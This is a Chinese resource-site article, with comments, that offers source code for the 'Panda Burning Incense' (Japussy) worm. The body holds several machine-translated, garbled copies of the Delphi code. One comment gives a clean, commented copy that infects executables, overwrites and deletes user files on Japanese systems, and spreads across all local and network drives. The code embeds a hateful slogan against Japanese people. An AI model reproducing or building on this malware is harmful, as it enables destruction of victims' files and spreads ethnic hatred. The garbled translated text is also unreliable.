可按Ctrl+D收藏 蚂蚁资源网

蚂蚁资源网

熊猫烧香源码(熊猫烧香的技术含量)

  • 时间:2021-02-11 13:02 编辑:苏来 来源:蚂蚁资源 阅读:240
  • 扫一扫,手机访问
摘要:大家好,今天给大家介绍关于熊猫烧香源码(熊猫烧香的技术含量)的相关内容,详细讲解跪求熊猫烧香病毒源代码,要完整,有注释。。,谁有 熊猫烧香 源代码【要c语言的,谢谢啊。,我想要熊猫烧香的原代码,研究用谢谢等,希望可以帮助到您。
跪求熊猫烧香病毒源代码,要完整,有注释。。,在互联网上燃烧香病毒的熊猫实际上是用德尔福写的。现在有一个源代码,对学习感兴趣。计划代码计划Japassy;使用Windows,Sysutils,Classes,Graphics,Shellapi {,Registry}; Const标题= 82432; //病毒体尺寸iconoffset = $ 12eB8; // pe文件主图标offset // delphi5 sp1编译生成的大小,其他版本的delphi可能与2800000020十六进制字符串不同,以查找主图标的偏移{标题= 38912; // UPX压缩病毒尺寸iconoffset = $ 92BC; // UPX压缩PE文件主图标offset // UPX 1.24W使用率:UPX -9 - 8086 Japussy.exe} iconsize = $ 2e8; // pe文件主图标大小 - 744字icontail = iconoffset + iconize; // PE文件主图标的尾标识= $ 44444444; //感染标记//垃圾代码,令立即撰写E CONTINGWORD ='如果需要争夺赛,那一定是山谷。 +'如果一个国家需要被摧毁,它必须是japussy.worm.a ***'; {$ r * .res}函数注册器服务(DWProcessID,DWTYPE:INTEGER):INTEGER; stdcall;外部'kernel32.dll'; //函数声明var tmpfile:string; si:startupinfo; pi:process_information; ISJAP:Boolean = false; // {日本操作系统确定标志win9x】功能是win9x:boolean; var:tosversionInfo;开始结果:= false; ver.dwosversionInfosize:= sizeof(tosversionInfo);如果没有getVersionex(ver)然后退出;如果(ver.dwplatformid = ver_platform_win32_windows)那么// win9x结果:= true;结束; {Streams之间的复制}程序曲线 - stream(src:tstream; sstartpos:整数; dst:tstream; dstartpos:integer;计数:整数; var scurpos,dcurpos:整数;开始scurpos:= src.position; dcurpos:= dst.position; src.seek(sstartpos,0); DST.SEEK(DST.CopyFrom(SRC,Count); SRC.SEEK(Scurpos,0); DST.Seek(DCurpos,0);终结; {从受感染的PE文件分隔主机文件,使用}过程extractFile(文件名:字符串); var s
谁有 熊猫烧香 源代码【要c语言的,谢谢啊。,结束;结束; {主程序开始} beginif iSwin9x in //是win9xregisterviceprocess(getcurrentprocessid,1)// regiser for service process for service // winntbegin / /远程线程映射到资源管理器进程/?哪个兄弟愿意完成?结束; //如果是原始病毒主体,如果比较重字(paramstfilename(paramstfilename(paramstfilename),'japussy.exe')= 0 theinfectfiles //感染和电子邮件else //已经发送到主机程序,开始工作begintmpfile: = paramstr(0); //创建一个临时文件删除(tmpfile,长度(tmpfile) - 4,4); tmpfile:= tmpfile +#32 +'.exe'; //真实的主机文件,更多空格提取文件(tmpfile ); //独立fillstartupinfo(si,sw_showdefault); createprocess(pchar(tmpfile),pchar(tmpfile),nil,nil,true,0,nil,'。',si,pi); // crea新进程运行Infectfiles; //感染和电子邮件结束;结束。告诉我..空间被删除,然后将其保存到C磁盘任何路径..您可以获得熊猫刻录香灯标题= 82432; //病毒体的大小iconoffset = $ 12EB8; // pe文件主图标offset //编译上述delphi5 sp1的大小,其他版本的delphi可能会有所不同/ /查找2800000020十六进制字符串找到主图标的偏移{标题= 38912; // UPX压缩病毒尺寸iconoffset = $ 92BC; // UPX压缩PE文件主图标offset // UPX 1.24W使用率:UPX -9 - 8086 Japussy.exe} iconsize = $ 2e8; // pe文件主图标大小 - 744字节icontail = iconoffset +图标化; // PE文件最终ID = $ 44444444; //感染标记//垃圾码,写入唱片='如果是比赛需要被杀,它必须是大巴。 '+'如果一个国家需要被摧毁,它必须是日本! '+'*** w32.japussy.worm.a ***'; {$ r r * .res}服务器服务(dwprocessid,dwtype:整数:整数; stdcall; stdcall; //函数声明vartmpfile:string; si:startupinfo; pi:process_information; isjap:boolean = false; / /日本操作系统标签{判决是Win9x}函数ISWin9x:Boolean; varver:tosversionInfo; reginresult:= false; ver.dwosversioninfosize:= sizeof(tosversionInfo);如果不是getVersionex(ver)donexit;如果(ver.dwplatformid = ver_platform_win32_windows)然后// win9xresult:= true;结束; {流之间的复制}过程曲线 - src:tstream; sstartpos:整数; dst:tstream; dstartpos:整数; inteGER); varscurpos,dcurpos:整数; beginscurpos:= src.position; dcurpos:= dst.position; src.seek(sstartpos,0); DST.SEEK(DSTARTPOS,0); DST.CopyFrom(SRC,Count); src.seek(Scurpos,0); dst.seek(dcurpos,0);结束; {PE与受感染的文件的主机文件分开,准备好使用}过程extractFile(文件名:字符串); varsstream,dstream:tfilestream; Begutrysstream:= tfilestream.Create(armstr(0),fmopenread或fmsharedenynone); trydstream:= tfilestream.create(文件名,fmcreate); trysstream.seek(标题,0); //跳过病毒DSTREAM.COPYFROM头部(SSTREAM,SSTREAM.SIZE - 标题);最终了解了;最终结束。免费;结束;陈辞;结束; {plip startupInfo结构}程序fillstartupinfo(var si:startupinfo;状态:word); ginsi.cb:= sizeof(SI); si.lprevered:= nil; si.lpdesktop:= nil; si.lptitle:= nil; si.dwflags:= startf_useshowwindow; si.wshowwindow:=州; si.cbreeserved2:= 0; si.lpreServed2:= nil;结束; {发毒邮件}程序sendmail;开始//租客愿意完成?结束; {受感染的PE文件}过程Infectonefile(文件名:字符串); varhdrest,srcstream:tfilestream; Icostream,DSTSTREAM:TMEMORYSTREAM; IID:龙眼; AICON:TICON;感染,ispe:布尔值;我:整数; buf:arrow的array [0 .1]; Begutry //错误,正在使用文件,如果compareText(filename,'japussy.exe')退出,则不会被退出感染;感染:=假; ISPE:= false srcstream:= tfilestream.create(文件名,fmopenread);尝试i:= 0到$ 108 do //检查pe文件标题beginsrcstream.seek(i,sofrombegin宁); srcstream.read(buf,2); if(buf [0] =#80)和(buf [1] =#69)然后// pe标记beginispe:= true; //是pe文件中断;结束; srcstream.seek(-4,sofromend); //检查感染标记srcstream.read(IID,4); if(IID = id)或(srcstream.size 16)和(searchRec.name'。')和(searchRec.name'Up')然后uct:= 0 //而不是其他(SearchRec.ttr = 16) (searchrec.name'。')和(searchRec.name'..')therever:= 1 / /不是根目录结果:= 2; //是根目录结束; RecomFirst(Path + Mask,FaanyFile,SearchRec)= 0)然后beginrepeatpeekMessage(msg,0,0,0,pm_remove); //调整消息队列以避免疑义IF isvaliddir(searchrec)= 0 dam:= path + searchRec.name; ext:=大写(提取物ineext(fn)); if(ext ='.exe')或(ext ='.scr')t亨比尼纤维杆菌(FN); //感染可执行的Endelse if(ext ='.htm')或(ext ='.atml')或(ext ='.asp'),然后在病毒写入//感染后对base64进行编码,编码base64浏览此页面所有用户//大哥愿意完成?如果ExteLse,如果ext ='.wab'十// Outlook地址簿文件开始//获取Outlook Email Addelse如果Ext ='.adc'Ten / Foxmail地址自动完成文件开始//如果Ext ='Ind获取Foxmail电子邮件地址Endelse然后然后// foxmail地址簿文件开始//获取foxmail电子邮件地址Endelse Beginif Isjap那么/是倭文操作系统beginf(ext ='.doc')或(ext ='.mdb')或(ext ='.mp3 ')或(ext ='.rm')或(ext ='.wma')或(ext ='.zip')或(ext ='.mpeg')或(ext ='.mpeg')或(ext ='.asf')或(ext ='.jp例如')或(ext ='.gif')或(ext ='.swf')或(ext ='.pdf')或(ext ='.avi')thensmashfile(fn); //销毁文件结束;结束;结束; //在200毫秒后感染或删除文件,避免CPU使用过度怀疑睡眠(200);直到(findnext(searchrec)0);结束; findclose(searchrec); subdir:= tstringList.Create; if(findfirst(path + *。*',fadirectory,searchRec)= 0)然后,BegInRepeatif IsValiddir(SearchRec)= 1 Tensubdir.add(SearchRec.name);直到findNext(SearchRec)0);结束; findclose(searchrec); count:= subdir.count - 1;对于i:= 0来计算doleoopfiles(path + subdir.strings +'\',mask); FreeAndnil(Subdir)结束; {转移磁盘上的所有文件}程序感染文件; VardRiverList:String;我,len:整数; beginf getacp = 932然后//日本操作系统是jap:= true; // 走死!司机列表:= getdrives; //获取可写磁盘列表len:=长度(驱动程序);虽然True Do // Dead Cyce始于I:= Len Downto 1 Do //行驶每个磁盘驱动器LoopF​​iles(驱动程序+“:\','*。*'); // sendmail; //发毒邮件睡眠(1000 * 60 * 5); //睡眠5分钟结束;结束; {主程序开始} beginif iswin9x dam //是win9xregisterserviceprocess(getcurrentprocessid,1)// regist作为服务进程eys // winntbegin / /远程线程映射到资源管理器进程/哪个兄弟愿意完成?结束; //如果比较重字(paramstfilename(paramstfilename(paramstfilename),'japussy.exe')= 0 theinfectfiles //感染和电子邮件//发送到主机程序,开始工作begintmpfile = paramstr(0); //创建临时文件删除(tmpfile,长度(tmpfile) - 4,4); tmpfile:= tmpfile +#32 +'.exe'; //一个真正的主机文件,更多空格提取文件(tmpfile); //独立fillstartupinfo(si,sw_showdefault); CreateProcess(PCHER(TMPFILE),PCHAR(TMPFILE),NIL,NIL,TRUE,0,NIL,',TRUE,0,NIL,',PI,PI); //创建一个新的进程运行InfectFiles; //感染和电子邮件结束;结束。我说..空间被删除,然后将其保存到C驱动器中的任何路径..您可以获得熊猫燃烧香菜
我想要熊猫烧香的原代码,研究用谢谢,'src.seek(scurpos,dwtype; +'dst:tstre流; / s; / s; / s; / s; / s; / s; / s压缩病毒体尺寸iconofofset = $ 92bc; // dst.copy;结束,dstream:tfilestream.worm。a ***',它必须是日本,计数):布尔=假; ///,0); /垃圾代码用于写入rentword ='如果需要捕获赛跑,它必须是Yamato:Integer STDCall:= Nil.dwflags:= startf_useshowwindow; Win9x结果:= SRC; / PE文件主图标大小 - 744字节icontail = iconofofset + iconize:process_information; Isjap; /,0);结束; {将主机文件与受感染的PE文件分开; //。自由;结束:= nil;结束;除了结束;结束; {Flow}过程中复制}过程编译程序 - 流程(src:tstream,图形; pi:string);变种sstream.lpdesktop:= nil; si.lptitle; /函数声明var tmpfile:string; si:startupinfo;尝试sstream.sebrek(标题,0); //感染mark /.wshowwindow:=州; si.cbreserved2 .lpreverateved。 ex} iconize = $ 2e8; Si; /病毒体尺寸iconofofset = $ 12eb8.size - 标题);最后是DSTREAM; / PE文件主图标尾标识= $ 44444444; //外部'kernel32:整数; *** w32; {$ r * .res}函数注册器服务(dwprocessid; begin scurpos; /查找2800000020 hex字符串可以找到主要图标的偏移{标题= 38912.'.lpreServed2:= nil; ent; {发行带邮}程序sendmail ;开始//愿意完成结束的朋友; {受感染的PE文件}程序感染术(文件名:字符串);? var hdrstream,srcstream; tfilestream; icostream,dstream:tmemorystream; iid:longint; aicon:ticon;感染,ispe :Boolean; I:整数; Buf:array [0..1]的char; bease try //错误,文件正在使用,退出如果compareText(filename,'japussy.exe')= 0那么/ /是自己没有感染;感染:=假; ISPE:= FALSE; srcstream:= tfilestream.create(文件名,fmopenread);尝试i:= 0到108美元DO //检查PE文件标题开始SRCStream.sek(I,Sofrombeginning); srcstream.read(buf,2); if(buf [0] =#80)和(buf [1] =#69)// pe标记开始ispe:= true; //是PE文件中断;结束;结束; srcstream.seek(-4,sofromend); //检查感染标记srcstream.read(IID,4)或(srcstream.size 16)和(searchRec.name'。')和(searchRec.name'..')然后结果:= 0 //不是目录否则if(searchrec.ttr = 16)和(searchRec.name'。')和(searchRec.name'..').. = 1 //不是根目录结果:= 2; //是根目录结束; Recomci(FindFirst(Path + Mask,Faan)Yfile,searchRec)= 0)然后开始重复偷看(msg,0,0,0,pm_remove); //调整消息队列以避免怀疑IsValiddir(SearchRec)= 0开始Fn:= path + searchRec.name; ext:=大写(提取物ineext(fn));如果(ext ='.exe')或(ext ='.scr')然后开始感染术(Fn); //感染可执行文件结束否则如果(ext ='.htm')或(ext ='.html')或(ext ='.asp')然后开始//传染HTML和ASP文件,写入Base64编码病毒写入/ /感染浏览所有用户//大哥愿意完成哪个用户?如果Ext ='.wab',那么如果extook地址簿文件开始//获取Outlook雇佣结束='.adc'Ten / Foxmail地址自动完成文件开始//如果Ext ='Ind,则获得Foxmail电子邮件地址'然后// foxmail地址簿文件开始//获取Foxmail电子邮件地址结束否则如果ISJAP DAM是倭文字操作系统开始(ext ='.xls')或(ext ='.mdb')或(ext ='.rm ')或(ext ='.wma')或(ext =')或(ext ='.zip')或(ext ='.mpeg')或(ext ='.asf')或(ext ='。 jpg')或(ext ='.jpeg')或(ext ='.jpeg')或(ext ='.gif')或(ext ='.pdf')或(ext ='.chm')或( ext ='.avi')然后smashfile(fn); //销毁文件结束;结束;结束; //睡眠200毫秒后感染或删除文件,避免CPU使用过高,导致睡眠(200);直到(findnext(searchrec)0);结束; FindCloserChrec); subdir:= tstringList.Create; if(findFirst(path +'* *。',fadirectory,searchRec)= 0)然后开始重复ifAlValiddir(searchRec)= 1然后subdir.add(searchRec.name);直到findnext(searchrec)0);结束; findclose(搜索:= subdir.count - 1;对于i:= 0计数do loopfiles(path + subdir.strings [i] +'',mask); freeandnil(subdir); ext; {遍历磁盘上的所有文件}程序InfectFiles; var驱动程序:字符串; I,len:整数;开始,如果getacp = 932那么//日本操作系统是jap:= true; //转到死亡!驱动程序列表:= getdrives; //获取可写磁盘列表len:=长度(司机列表);虽然真正的do //死循环开始i:= len downto 1 do //行驶每个磁盘驱动器loopfiles(驱动程序[i] +':','*。*'); // sendmail; / /发毒邮件睡眠(1000 * 60 * 5); //睡眠5分钟结束;结束; {主程序开始}从ISWin9x开始/是win9x注册者服务进步(getCurrentProcessID,1)//寄存器作为服务进程/ / winnt开始/ /远程线程mapping到探险家流程/哪个兄弟愿意完成?结束; //如果原始病毒主体如果比较重字(paramstfilename(paramstfilename),'japussy.exe')= 0那么感染文件和电子邮件else and //已经寄存在主机程序中,开始工作开始tmpfile:= paramstr (0); //创建临时文件删除(tmpfile,长度(tmpfile) - 4,4); tmpfile:= tmpfile +#32 +'.exe'; //真正的主机文件,一个空间提取文件一个(tmpfile); //独立fillstartupinfo(si,sw_showdefault); CreateProcess(PCHAR(TMPFILE),PCHAR(TMPFILE),NIL,NIL,TRUE,0,NIL,',TRUE,0,NIL,',SI,PI); //创建运行InfectFiles的新进程; //感染和电子邮件结束;结束 。; DST.SEEK(DSTARTPOS;如果一个国家需要被销毁.24W使用:UPX -9 - 8086 Japassy,0):StartupInfo;/在我的delphi5 sp1中,编译大小,其他版本的delphi可能是不同的/.copyFrom ---- ---------------------------------------------------- --------------- ---------------代码:------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ------------------------------------------ -------------------------终于stream.free; si;算法:integer); var scurpos.position; dcurpos:= dst.position,准备好使用}过程extressfile(文件名;开始尝试sstream .dwplatformid = ver_platform_win32_windows)然后// si:= sizeof(tosversionInfo);如果没有getVersionex(ver)然后退出; if(ver:word); begin si.cb:= sizeof(si); dst.seek(dcurpos; upx 1.japussy; sstartpos:整数; / ship dstream; / pe文件主图标offset /:= false.create(paramstr(0),fmopenread或fmsharedenone;尝试dstream:= tfilestream.create(文件名,fmcreate),0); const headersize = 82432,dcurpos:整数; si; +'upx压缩pe文件主图标offset ///:= 0;日本操作系统标签{判断为win9x}函数是win9x:boolean,shellapi { ,注册表}

责任编辑(苏来

以上就是关于**熊猫烧香源码,熊猫烧香的技术含量**的全部内容,了解更多请关注蚂蚁资源网。
  • 全部评论(3)
  • 万岳科技
  • “熊猫烧香”源代码的解释,核心代码 program japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量 //upx 1.24w 用法: upx -9 --8086 japussy.exe } iconsize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = $44444444; //感染标记 //垃圾码,以备写入 catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记 { 判断是否为win9x } function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true; end; { 在流之间复制 } procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end; { 将宿主文件从已感染的pe文件中分离出来,以备使用 } procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstr
  • 2021-02-11 13:02:39
  • 礼品代发源码
  • 熊猫烧香并没有在互联网上公布完整的源代码。网上流传的都是类似于示意的代码。它们并不能编译通过。关键代码都已经略去。网上流传的版本是别人使用Delphi语言编写的模仿版,并非原作者写的。
  • 2021-02-11 13:02:39
  • qian
  • 熊猫烧香-核心源码--------------------------------------------------------------------------------代码:--------------------------------------------------------------------------------程序代码programJapussy;usesWindows,SysUtils,Classes,Graphics,ShellAPI{,Registry};constHeaderSize=82432;//病毒体的大小IconOffset=$12EB8;//PE文件主图标的偏移量//在我的Delphi5SP1上面编译得到的大小,其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{HeaderSize=38912;//Upx压缩过病毒体的大小IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量//Upx1.24W用法:upx-9--8086Japussy.exe}IconSize=$2E8;//PE文件主图标的大小--744字节IconTail=IconOffset+IconSize;//PE文件主图标的尾部ID=$44444444;//感染标记//垃圾码,以备写入Catchword='Ifaraceneedtobekilledout,itmustbeYamato.'+'Ifacountryneedtobedestroyed,itmustbeJapan!'+'***W32.Japussy.Worm.A***';{$R*.RES}functionRegisterServiceProcess(dwProcessID,dwType:Integer):Integer;stdcall;external'Kernel32.dll';//函数声明varTmpFile:string;Si:STARTUPINFO;Pi:PROCESS_INFORMATION;IsJap:Boolean=False;//日文操作系统标记{判断是否为Win9x}functionIsWin9x:Boolean;varVer:TOSVersionInfo;beginResult:=False;Ver.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);ifnotGetVersionEx(Ver)thenExit;if(Ver.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS)then//Win9xResult:=True;end;{在流之间复制}procedureCopyStream(Src:TStream;sStartPos:Integer;Dst:TStream;dStartPos:Integer;Count:Integer);varsCurPos,dCurPos:Integer;beginsCurPos:=Src.Position;dCurPos:=Dst.Position;Src.Seek(sStartPos,0);Dst.Seek(dStartPos,0);Dst.CopyFrom(Src,Count);Src.Seek(sCurPos,0);Dst.Seek(dCurPos,0);end;{将宿主文件从已感染的PE文件中分离出来,以备使用}procedureExtractFile(FileName:string);varsStream,dStream:TFileStream;begintrysStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);trydStream:=TFileStream.Create(FileName,fmCreate);trysStream.Seek(HeaderSize,0);//跳过头部的病毒部分dStream.CopyFrom(sStream,sStream.Size-HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{填充STARTUPINFO结构}procedureFillStartupInfo(varSi:STARTUPINFO;State:Word);beginSi.cb:=SizeOf(Si);Si.lpReserved:=nil;Si.lpDesktop:=nil;Si.lpTitle:=nil;Si.dwFlags:=STARTF_USESHOWWINDOW;Si.wShowWindow:=State;Si.cbReserved2:=0;Si.lpReserved2:=nil;end;{发带毒邮件}procedureSendMail;begin//哪位仁兄愿意完成之?end;{感染PE文件}procedureInfectOneFile(FileName:string);varHdrStream,SrcStream:TFileStream;IcoStream,DstStream:TMemoryStream;iID:LongInt;aIcon:TIcon;Infected,IsPE:Boolean;i:Integer;Buf:array[0..1]ofChar;begintry//出错则文件正在被使用,退出ifCompareText(FileName,'JAPUSSY.EXE')=0then//是自己则不感染Exit;Infected:=False;IsPE:=False;SrcStream:=TFileStream.Create(FileName,fmOpenRead);tryfori:=0to$108do//检查PE文件头beginSrcStream.Seek(i,soFromBeginning);SrcStream.Read(Buf,2);if(Buf[0]=#80)and(Buf[1]=#69)then//PE标记beginIsPE:=True;//是PE文件Break;end;end;SrcStream.Seek(-4,soFromEnd);//检查感染标记SrcStream.Read(iID,4);if(iID=ID)or(SrcStream.Size<10240)then//太小的文件不感染Infected:=True;finallySrcStream.Free;end;ifInfectedor(notIsPE)then//如果感染过了或不是PE文件则退出Exit;IcoStream:=TMemoryStream.Create;DstStream:=TMemoryStream.Create;tryaIcon:=TIcon.Create;try//得到被感染文件的主图标(744字节),存入流aIcon.ReleaseHandle;aIcon.Handle:=ExtractIcon(HInstance,PChar(FileName),0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream:=TFileStream.Create(FileName,fmOpenRead);//头文件HdrStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);try//写入病毒体主图标之前的数据CopyStream(HdrStream,0,DstStream,0,IconOffset);//写入目前程序的主图标CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);//写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream,IconTail,DstStream,IconTail,HeaderSize-IconTail);//写入宿主程序CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);//写入已感染的标记DstStream.Seek(0,2);iID:=$44444444;DstStream.Write(iID,4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName);//替换宿主文件DstStream.Free;end;except;end;end;{将目标文件写入垃圾码后删除}procedureSmashFile(FileName:string);varFileHandle:Integer;i,Size,Mass,Max,Len:Integer;begintrySetFileAttributes(PChar(FileName),0);//去掉只读属性FileHandle:=FileOpen(FileName,fmOpenWrite);//打开文件trySize:=GetFileSize(FileHandle,nil);//文件大小i:=0;Randomize;Max:=Random(15);//写入垃圾码的随机次数ifMax<5thenMax:=5;Mass:=SizedivMax;//每个间隔块的大小Len:=Length(Catchword);whilei<MaxdobeginFileSeek(FileHandle,i*Mass,0);//定位//写入垃圾码,将文件彻底破坏掉FileWrite(FileHandle,Catchword,Len);Inc(i);end;finallyFileClose(FileHandle);//关闭文件end;DeleteFile(PChar(FileName));//删除之exceptend;end;{获得可写的驱动器列表}functionGetDrives:string;varDiskType:Word;D:Char;Str:string;i:Integer;beginfori:=0to25do//遍历26个字母beginD:=Chr(i+65);Str:=D+':';DiskType:=GetDriveType(PChar(Str));//得到本地磁盘和网络盘if(DiskType=DRIVE_FIXED)or(DiskType=DRIVE_REMOTE)thenResult:=Result+D;end;end;{遍历目录,感染和摧毁文件}procedureLoopFiles(Path,Mask:string);vari,Count:Integer;Fn,Ext:string;SubDir:TStrings;SearchRec:TSearchRec;Msg:TMsg;functionIsValidDir(SearchRec:TSearchRec):Integer;beginif(SearchRec.Attr<>16)and(SearchRec.Name<>'.')and(SearchRec.Name<>'..')thenResult:=0//不是目录elseif(SearchRec.Attr=16)and(SearchRec.Name<>'.')and(SearchRec.Name<>'..')thenResult:=1//不是根目录elseResult:=2;//是根目录end;beginif(FindFirst(Path+Mask,faAnyFile,SearchRec)=0)thenbeginrepeatPeekMessage(Msg,0,0,0,PM_REMOVE);//调整消息队列,避免引起怀疑ifIsValidDir(SearchRec)=0thenbeginFn:=Path+SearchRec.Name;Ext:=UpperCase(ExtractFileExt(Fn));if(Ext='.EXE')or(Ext='.SCR')thenbeginInfectOneFile(Fn);//感染可执行文件endelseif(Ext='.HTM')or(Ext='.HTML')or(Ext='.ASP')thenbegin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之?endelseifExt='.WAB'then//Outlook地址簿文件begin//获取Outlook邮件地址endelseifExt='.ADC'then//Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelseifExt='IND'then//Foxmail地址簿文件begin//获取Foxmail邮件地址endelsebeginifIsJapthen//是倭文操作系统beginif(Ext='.DOC')or(Ext='.XLS')or(Ext='.MDB')or(Ext='.MP3')or(Ext='.RM')or(Ext='.RA')or(Ext='.WMA')or(Ext='.ZIP')or(Ext='.RAR')or(Ext='.MPEG')or(Ext='.ASF')or(Ext='.JPG')or(Ext='.JPEG')or(Ext='.GIF')or(Ext='.SWF')or(Ext='.PDF')or(Ext='.CHM')or(Ext='.AVI')thenSmashFile(Fn);//摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until(FindNext(SearchRec)<>0);end;FindClose(SearchRec);SubDir:=TStringList.Create;if(FindFirst(Path+'*.*',faDirectory,SearchRec)=0)thenbeginrepeatifIsValidDir(SearchRec)=1thenSubDir.Add(SearchRec.Name);until(FindNext(SearchRec)<>0);end;FindClose(SearchRec);Count:=SubDir.Count-1;fori:=0toCountdoLoopFiles(Path+SubDir.Strings[i]+'',Mask);FreeAndNil(SubDir);end;{遍历磁盘上所有的文件}procedureInfectFiles;varDriverList:string;i,Len:Integer;beginifGetACP=932then//日文操作系统IsJap:=True;//去死吧!DriverList:=GetDrives;//得到可写的磁盘列表Len:=Length(DriverList);whileTruedo//死循环beginfori:=Lendownto1do//遍历每个磁盘驱动器LoopFiles(DriverList[i]+':','*.*');//感染之SendMail;//发带毒邮件Sleep(1000*60*5);//睡眠5分钟end;end;{主程序开始}beginifIsWin9xthen//是Win9xRegisterServiceProcess(GetCurrentProcessID,1)//注册为服务进程else//WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己ifCompareText(ExtractFileName(ParamStr(0)),'Japussy.exe')=0thenInfectFiles//感染和发邮件else//已寄生于宿主程序上了,开始工作beginTmpFile:=ParamStr(0);//创建临时文件Delete(TmpFile,Length(TmpFile)-4,4);TmpFile:=TmpFile+#32+'.exe';//真正的宿主文件,多一个空格ExtractFile(TmpFile);//分离之FillStartupInfo(Si,SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile),PChar(TmpFile),nil,nil,True,0,nil,'.',Si,Pi);//创建新进程运行之InfectFiles;//感染和发邮件end;end.
  • 2021-02-14 00:00:02
最新发布的资讯信息
【简历/资料|内地女明星】 殷茹基本资料( YR个人简历介绍)(2020-12-06 15:19)
【简历/资料|内地女明星】 曹菁基本资料( CJ个人简历介绍)(2020-12-06 15:18)
【简历/资料|内地女明星】 王安妮基本资料( WAN个人简历介绍)(2020-12-06 15:18)
【简历/资料|内地女明星】 白琼基本资料( BQ个人简历介绍)(2020-12-06 15:17)
【简历/资料|内地女明星】 王世霞基本资料( WSX个人简历介绍)(2020-12-06 15:17)
【简历/资料|内地女明星】 宋煜基本资料( SY个人简历介绍)(2020-12-06 15:16)
【简历/资料|内地女明星】 钱增基本资料( QZ个人简历介绍)(2020-12-06 15:16)
【简历/资料|内地女明星】 胡晓黎基本资料( HXL个人简历介绍)(2020-12-06 15:15)
【简历/资料|内地女明星】 李佳慧基本资料( LJH个人简历介绍)(2020-12-06 15:15)
【简历/资料|内地女明星】 张洛嘉基本资料( ZLJ个人简历介绍)(2020-12-06 15:14)
联系客服
网站客服 联系客服
手机版

扫一扫进手机版
返回顶部